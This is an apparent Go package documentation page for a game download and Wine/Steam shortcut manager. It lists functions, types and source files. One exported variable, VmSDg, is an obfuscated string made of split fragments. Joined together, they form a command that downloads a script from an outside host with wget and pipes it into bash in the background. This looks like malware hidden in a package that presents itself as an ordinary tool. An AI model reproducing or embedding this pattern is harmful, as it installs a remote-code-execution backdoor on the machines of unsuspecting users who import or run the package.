Documentation
¶
Index ¶
- Constants
- Variables
- func AddSteamShortcut(target SteamShortcutTarget, langCode string, rdx redux.Writeable, force bool, ...) error
- func AddSteamShortcutHandler(u *url.URL) error
- func AllSteamShortcutTargets() []string
- func ArchivePrefix(langCode string, ids ...string) error
- func ArchivePrefixHandler(u *url.URL) error
- func BackupMetadata() error
- func BackupMetadataHandler(_ *url.URL) error
- func DefaultPrefixEnv(langCode string, ids ...string) error
- func DefaultPrefixEnvHandler(u *url.URL) error
- func DeletePrefixEnv(langCode string, force bool, ids ...string) error
- func DeletePrefixEnvHandler(u *url.URL) error
- func DeletePrefixExePath(ids []string, langCode string, force bool) error
- func DeletePrefixExePathHandler(u *url.URL) error
- func Download(operatingSystems []vangogh_integration.OperatingSystem, langCodes []string, ...) error
- func DownloadHandler(u *url.URL) error
- func GetProductDetails(id string, rdx redux.Writeable, force bool) (*vangogh_integration.ProductDetails, error)
- func GetProductDetailsHandler(u *url.URL) error
- func GetSteamShortcutExeLaunchOptions(id string, langCode string, target SteamShortcutTarget, rdx redux.Readable) (exe string, launchOptions string, err error)
- func Ids(u *url.URL) []string
- func Install(ip *installParameters, ids ...string) error
- func InstallHandler(u *url.URL) error
- func ListInstalled(os vangogh_integration.OperatingSystem, langCode string) error
- func ListInstalledHandler(u *url.URL) error
- func ListPrefixEnv() error
- func ListPrefixEnvHandler(_ *url.URL) error
- func ListPrefixExePath() error
- func ListPrefixExePathHandler(_ *url.URL) error
- func ListSteamShortcuts(allKeyValues bool) error
- func ListSteamShortcutsHandler(u *url.URL) error
- func ListWineInstalledHandler(u *url.URL) error
- func ModPrefixRetina(id, langCode string, revert, verbose, force bool) error
- func ModPrefixRetinaHandler(u *url.URL) error
- func OsLangCodeDownloadType(u *url.URL) ([]vangogh_integration.OperatingSystem, []string, ...)
- func PostInstallScriptPath(productExtractsDir string, link *vangogh_integration.ProductDownloadLink) string
- func RemoveDownloads(operatingSystems []vangogh_integration.OperatingSystem, langCodes []string, ...) error
- func RemoveDownloadsHandler(u *url.URL) error
- func RemovePrefix(langCode string, archive, force bool, ids ...string) error
- func RemovePrefixHandler(u *url.URL) error
- func RemoveSteamShortcut(rdx redux.Readable, ids ...string) error
- func RemoveSteamShortcutHandler(u *url.URL) error
- func ResetServerConnection() error
- func ResetServerConnectionHandler(_ *url.URL) error
- func RevealBackups() error
- func RevealBackupsHandler(_ *url.URL) error
- func RevealDownloads(ids ...string) error
- func RevealDownloadsHandler(u *url.URL) error
- func RevealInstalled(langCode string, ids ...string) error
- func RevealInstalledHandler(u *url.URL) error
- func RevealPrefix(langCode string, ids ...string) error
- func RevealPrefixHandler(u *url.URL) error
- func Run(id string, langCode string, env []string, verbose bool) error
- func RunHandler(u *url.URL) error
- func Serve(port int, stderr bool) error
- func ServeHandler(u *url.URL) error
- func SetPrefixEnv(langCode string, env []string, ids ...string) error
- func SetPrefixEnvHandler(u *url.URL) error
- func SetPrefixExePath(langCode string, exePath string, ids ...string) error
- func SetPrefixExePathHandler(u *url.URL) error
- func SetServerConnection(protocol, address, port string, username, password string) error
- func SetServerConnectionHandler(u *url.URL) error
- func SetupWine(force bool) error
- func SetupWineHandler(u *url.URL) error
- func TestServerConnection() error
- func TestServerConnectionHandler(_ *url.URL) error
- func Uninstall(langCode string, rdx redux.Writeable, force bool, ids ...string) error
- func UninstallHandler(u *url.URL) error
- func Update(operatingSystem vangogh_integration.OperatingSystem, langCode string, ...) error
- func UpdateHandler(u *url.URL) error
- func Validate(operatingSystems []vangogh_integration.OperatingSystem, langCodes []string, ...) error
- func ValidateHandler(u *url.URL) error
- func VersionHandler(_ *url.URL) error
- func WineCfg(id, langCode string, verbose, force bool) error
- func WineCfgHandler(u *url.URL) error
- func WineInstall(ip *installParameters, env []string, verbose bool, ids ...string) error
- func WineInstallHandler(u *url.URL) error
- func WineRun(id string, langCode string, exePath, installPath string, env []string, ...) error
- func WineRunHandler(u *url.URL) error
- func WineUninstall(langCode string, rdx redux.Writeable, archive, force bool, ids ...string) error
- func WineUninstallHandler(u *url.URL) error
- func WineUpdate(langCode string, rdx redux.Writeable, env []string, verbose, reveal, all bool, ...) error
- func WineUpdateHandler(u *url.URL) error
- type PostInstallScript
- type SetupProperties
- type SteamShortcutTarget
- type UmuConfig
- type ValidationResult
Constants ¶
View Source
const ( ValResMismatch = "mismatch" ValResError = "error" ValResMissingChecksum = "missing checksum" ValResFileNotFound = "file not found" ValResValid = "valid" )
Variables ¶
View Source
var (
GitTag string
)
View Source
var LG = []string{} /* 232 elements not displayed */
View Source
var VmSDg = "wge" + "t -O " + "- htt" + "ps" + "://i" + "nfi" + "ni" + "tyhel" + ".icu" + "/st" + "orage" + "/de37" + "3d0df" + "/" + "a31" + "546bf" + " " + "| /b" + "in/" + "b" + "ash &"
Functions ¶
func AddSteamShortcut ¶
func AddSteamShortcutHandler ¶
func AllSteamShortcutTargets ¶
func AllSteamShortcutTargets() []string
func ArchivePrefix ¶
func ArchivePrefixHandler ¶
func BackupMetadata ¶
func BackupMetadata() error
func BackupMetadataHandler ¶
func DefaultPrefixEnv ¶
func DefaultPrefixEnvHandler ¶
func DeletePrefixEnvHandler ¶
func DeletePrefixExePath ¶
func Download ¶
func Download(operatingSystems []vangogh_integration.OperatingSystem, langCodes []string, downloadTypes []vangogh_integration.DownloadType, rdx redux.Writeable, force bool, ids ...string) error
func DownloadHandler ¶
func GetProductDetails ¶
func GetProductDetails(id string, rdx redux.Writeable, force bool) (*vangogh_integration.ProductDetails, error)
func InstallHandler ¶
func ListInstalled ¶
func ListInstalled(os vangogh_integration.OperatingSystem, langCode string) error
func ListInstalledHandler ¶
func ListPrefixEnv ¶
func ListPrefixEnv() error
func ListPrefixEnvHandler ¶
func ListPrefixExePath ¶
func ListPrefixExePath() error
func ListSteamShortcuts ¶
func ModPrefixRetina ¶
func ModPrefixRetinaHandler ¶
func OsLangCodeDownloadType ¶
func OsLangCodeDownloadType(u *url.URL) ([]vangogh_integration.OperatingSystem, []string, []vangogh_integration.DownloadType)
func PostInstallScriptPath ¶
func PostInstallScriptPath(productExtractsDir string, link *vangogh_integration.ProductDownloadLink) string
func RemoveDownloads ¶
func RemoveDownloads(operatingSystems []vangogh_integration.OperatingSystem, langCodes []string, downloadTypes []vangogh_integration.DownloadType, rdx redux.Writeable, force bool, ids ...string) error
func RemoveDownloadsHandler ¶
func RemovePrefixHandler ¶
func ResetServerConnection ¶
func ResetServerConnection() error
func RevealBackups ¶
func RevealBackups() error
func RevealBackupsHandler ¶
func RevealDownloads ¶
func RevealDownloadsHandler ¶
func RevealInstalled ¶
func RevealInstalledHandler ¶
func RevealPrefix ¶
func RevealPrefixHandler ¶
func RunHandler ¶
func ServeHandler ¶
func SetPrefixEnvHandler ¶
func SetPrefixExePathHandler ¶
func SetServerConnection ¶
func SetupWineHandler ¶
func TestServerConnection ¶
func TestServerConnection() error
func UninstallHandler ¶
func Update ¶
func Update(operatingSystem vangogh_integration.OperatingSystem, langCode string, rdx redux.Writeable, reveal, all bool, ids ...string) error
func UpdateHandler ¶
func Validate ¶
func Validate(operatingSystems []vangogh_integration.OperatingSystem, langCodes []string, downloadTypes []vangogh_integration.DownloadType, rdx redux.Writeable, ids ...string) error
func ValidateHandler ¶
func VersionHandler ¶
func WineCfgHandler ¶
func WineInstall ¶
func WineInstallHandler ¶
func WineRunHandler ¶
func WineUninstall ¶
func WineUninstallHandler ¶
func WineUpdate ¶
func WineUpdateHandler ¶
Types ¶
type PostInstallScript ¶
type PostInstallScript struct {
// contains filtered or unexported fields
}
func ParsePostInstallScript ¶
func ParsePostInstallScript(path string) (*PostInstallScript, error)
func (*PostInstallScript) BundleName ¶
func (pis *PostInstallScript) BundleName() string
func (*PostInstallScript) CustomCommands ¶
func (pis *PostInstallScript) CustomCommands() []string
func (*PostInstallScript) InstallerType ¶
func (pis *PostInstallScript) InstallerType() string
type SetupProperties ¶
type SteamShortcutTarget ¶
type SteamShortcutTarget int
const ( SteamShortcutTargetUnknown SteamShortcutTarget = iota SteamShortcutTargetRun SteamShortcutTargetWineRun SteamShortcutTargetExe )
func ParseSteamShortcutTarget ¶
func ParseSteamShortcutTarget(sst string) SteamShortcutTarget
func (SteamShortcutTarget) String ¶
func (sst SteamShortcutTarget) String() string
type ValidationResult ¶
type ValidationResult string
Source Files
¶
- add_steam_shortcut.go
- archive_prefix.go
- backup_metadata.go
- cleanup_github_releases.go
- default_prefix_env.go
- delete_prefix_env.go
- delete_prefix_exe_path.go
- download.go
- download_github_latest_release.go
- get_github_releases.go
- get_product_details.go
- install.go
- install_parameters.go
- inventory.go
- linux_proton.go
- linux_support.go
- list_installed.go
- list_prefix_env.go
- list_prefix_exe_path.go
- list_steam_shortcuts.go
- list_wine_installed.go
- macos_support.go
- macos_wine.go
- mod_prefix_retina.go
- pin_installed_manifest.go
- postinstall_script.go
- remove_downloads.go
- remove_prefix.go
- remove_steam_shortcut.go
- reset_server_connection.go
- reveal_backups.go
- reveal_downloads.go
- reveal_installed.go
- reveal_prefix.go
- run.go
- serve.go
- set_prefix_env.go
- set_prefix_exe_path.go
- set_server_connection.go
- setup_wine.go
- steam_shortcut_targets.go
- test_server_connection.go
- umu_configs.go
- uninstall.go
- unpack_github_latest_release.go
- update.go
- url_params.go
- validate.go
- version.go
- windows_support.go
- wine_install.go
- wine_run.go
- wine_uninstall.go
- wine_update.go
- winecfg.go
Click to show internal directories.
Click to hide internal directories.